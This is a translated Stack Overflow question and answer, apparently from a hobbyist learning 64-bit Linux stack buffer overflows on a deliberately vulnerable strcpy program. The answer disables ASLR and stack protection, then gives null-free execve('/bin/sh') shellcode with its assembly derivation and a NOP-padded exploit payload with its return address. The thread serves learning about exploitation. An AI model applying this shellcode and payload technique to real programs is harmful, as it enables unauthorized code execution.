为了好玩，我正在尝试用缓冲区溢出做一些实验。我在这个论坛上阅读了这个话题，并试图编写我自己的小代码。
所以我所做的是一个小的“C”程序，它接受字符参数并运行直到段错误。
所以我提供参数，直到我收到一条消息，我用“A”覆盖了返回地址，即 41。我的缓冲区字符长度，我复制输入字符串的长度是 [5]。
这是我在 gdb 中所做的。
run $(perl -e 'print "A"x32 ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d
然后我发现覆盖需要 16 个“A”。
run $(perl -e 'print "A"x16 . "C"x8 . "B"x32 ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
)
这告诉我们 8 个“C”正在覆盖返回地址。
根据在线教程，如果我提供有效地址而不是 8 个“C”。我可以跳到某个地方并执行代码。所以我在最初的 16 个“A”之后重载了内存。
下一步是执行
run $(perl -e 'print "A"x16 . "C"x8 . "B"x200 ; ')
rax 0x0 0
rbx 0x3a0001bbc0 249108216768
rcx 0x3a00552780 249113683840
rdx 0x3a00553980 249113688448
rsi 0x42 66
rdi 0x2af9e57710e0 47252785008864
rbp 0x4343434343434343 0x4343434343434343
rsp 0x7fffb261a2e8 0x7fffb261a2e8
r8 0xffffffff 4294967295
r9 0x0 0
r10 0x22 34
r11 0xffffffff 4294967295
r12 0x0 0
r13 0x7fffb261a3c0 140736186131392
r14 0x0 0
r15 0x0 0
rip 0x400516 0x400516 <main+62>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
mxcsr 0x1f80 [ IM DM ZM OM UM PM ]
在 $rsp 之后检查内存 200 字节后，我找到了一个地址，并执行了以下操作:
run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ; ')
然而，这没有任何作用。如果有人能让我知道我做错了什么，我将不胜感激。
最佳答案
首先确保您更改了 randomize_va_space。在 Ubuntu 上，您将以 root 身份运行以下命令echo 0 > /proc/sys/kernel/randomize_va_space
接下来确保您在编译没有堆栈粉碎保护的测试程序并设置内存执行位。使用以下 gcc 选项编译它以完成-fno-stack-protector -z execstack
我还发现我需要更多空间来实际执行 shell，所以我会将你的缓冲区更改为更像缓冲区 [64]
接下来可以在gdb中运行app，获取需要返回的栈地址
首先在 strcpy 之后设置断点
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000040057c <+0>: push %rbp
0x000000000040057d <+1>: mov %rsp,%rbp
0x0000000000400580 <+4>: sub $0x50,%rsp
0x0000000000400584 <+8>: mov %edi,-0x44(%rbp)
0x0000000000400587 <+11>: mov %rsi,-0x50(%rbp)
0x000000000040058b <+15>: mov -0x50(%rbp),%rax
0x000000000040058f <+19>: add $0x8,%rax
0x0000000000400593 <+23>: mov (%rax),%rdx
0x0000000000400596 <+26>: lea -0x40(%rbp),%rax
0x000000000040059a <+30>: mov %rdx,%rsi
0x000000000040059d <+33>: mov %rax,%rdi
0x00000000004005a0 <+36>: callq 0x400450 <strcpy@plt>
0x0000000000**4005a5** <+41>: lea -0x40(%rbp),%rax
0x00000000004005a9 <+45>: mov %rax,%rsi
0x00000000004005ac <+48>: mov $0x400674,%edi
0x00000000004005b1 <+53>: mov $0x0,%eax
0x00000000004005b6 <+58>: callq 0x400460 <printf@plt>
0x00000000004005bb <+63>: mov $0x0,%eax
0x00000000004005c0 <+68>: leaveq
0x00000000004005c1 <+69>: retq
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5
然后运行应用程序并在断点处获取 rax 寄存器地址。
(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`
Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax 0x7fffffffe030 140737488347136
rbx 0x0 0
rcx 0x4141414141414141 4702111234474983745
rdx 0x41 65
rsi 0x7fffffffe490 140737488348304
rdi 0x7fffffffe077 140737488347255
rbp 0x7fffffffe040 0x7fffffffe040
rsp 0x7fffffffdff0 0x7fffffffdff0
r8 0x7ffff7dd4e80 140737351863936
r9 0x7ffff7de9d60 140737351949664
r10 0x7fffffffdd90 140737488346512
r11 0x7ffff7b8fd60 140737349483872
r12 0x400490 4195472
r13 0x7fffffffe120 140737488347424
r14 0x0 0
r15 0x0 0
rip 0x4005a5 0x4005a5 <main+41>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
接下来确定您的最大缓冲区大小。我知道 64 的缓冲区在 72 字节时崩溃，所以我就从那个开始.. 你可以使用类似 metasploits 模式的方法来给你这个，或者只是通过运行应用程序的反复试验来找出确切的字节在获得段错误之前计算它需要的时间或组成您自己的模式并像使用 metasploit 模式选项一样匹配 rip 地址。
接下来，有许多不同的方法可以获取您需要的有效负载，但由于我们运行的是 64 位应用程序，因此我们将使用 64 位有效负载。我编译了 C，然后从 gdb 中获取了 ASM，然后通过将 mov 指令更改为 xor 来删除空值，然后通过 shl 和 shr 将它们从 shell 命令中删除，从而进行了一些更改以删除\x00 字符。我们稍后会展示这一点，但目前有效载荷如下。
\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05我们这里的有效载荷是 48 个字节，所以我们有 72 - 48 = 24
我们可以用\x90 (nop) 填充有效载荷，这样指令就不会被中断。我将在有效载荷的末尾添加 2，在开头添加 22。此外，我将添加我们想要反向结束的返回地址，给出以下内容..
`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`
现在，如果您想在 gdb 之外运行它，您可能不得不对返回地址进行模糊处理。在我的情况下，地址变为 gdb 之外的\x70\xe0\xff\xff\xff\x7f。我只是增加了它，直到它工作到 40 然后 50 然后 60 然后 70 ..
测试应用源
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char name[64];
strcpy(name, argv[1]);
printf("Arg[1] is :%s\n", name);
return 0;
}
这是 C 中的有效载荷
#include <stdlib.h>
int main()
{
execve("/bin/sh", NULL, NULL);
}
以及将构建和运行的 ASM 中的有效载荷
int main() {
__asm__(
"mov $0x0,%rdx\n\t" // arg 3 = NULL
"mov $0x0,%rsi\n\t" // arg 2 = NULL
"mov $0x0068732f6e69622f,%rdi\n\t"
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack pointer = start of /bin/sh
"mov $0x3b,%rax\n\t" // syscall number = 59
"syscall\n\t"
);
}
并且由于我们不能使用\x00 我们可以更改为 xor 值并进行一些花哨的转换以删除 mov 的错误值以设置/bin/sh
int main() {
__asm__(
"xor %rdx,%rdx\n\t" // arg 3 = NULL
"mov %rdx,%rsi\n\t" // arg 2 = NULL
"mov $0x1168732f6e69622f,%rdi\n\t"
"shl $0x8,%rdi\n\t"
"shr $0x8,%rdi\n\t" // first byte = 0 (8 bits)
"push %rdi\n\t" // push "/bin/sh" onto stack
"mov %rsp,%rdi\n\t" // arg 1 = stack ptr = start of /bin/sh
"mov $0x111111111111113b,%rax\n\t" // syscall number = 59
"shl $0x38,%rax\n\t"
"shr $0x38,%rax\n\t" // first 7 bytes = 0 (56 bits)
"syscall\n\t"
);
}
如果您编译该有效负载，请在 gdb 下运行它，您可以获得所需的字节值，例如
(gdb) x/bx main+4
0x400478 <main+4>: 0x48
(gdb)
0x400479 <main+5>: 0x31
(gdb)
0x40047a <main+6>: 0xd2
(gdb)
或者通过做类似的事情来获得这一切
(gdb) x/48bx main+4
0x4004f0 <main+4>: 0x48 0x31 0xd2 0x48 0x89 0xd6 0x48 0xbf
0x4004f8 <main+12>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x11
0x400500 <main+20>: 0x48 0xc1 0xe7 0x08 0x48 0xc1 0xef 0x08
0x400508 <main+28>: 0x57 0x48 0x89 0xe7 0x48 0xb8 0x3b 0x11
0x400510 <main+36>: 0x11 0x11 0x11 0x11 0x11 0x11 0x48 0xc1
0x400518 <main+44>: 0xe0 0x38 0x48 0xc1 0xe8 0x38 0x0f 0x05
关于linux - 64 位缓冲区溢出，我们在Stack Overflow上找到一个类似的问题：https://stackoverflow.com/questions/15533889/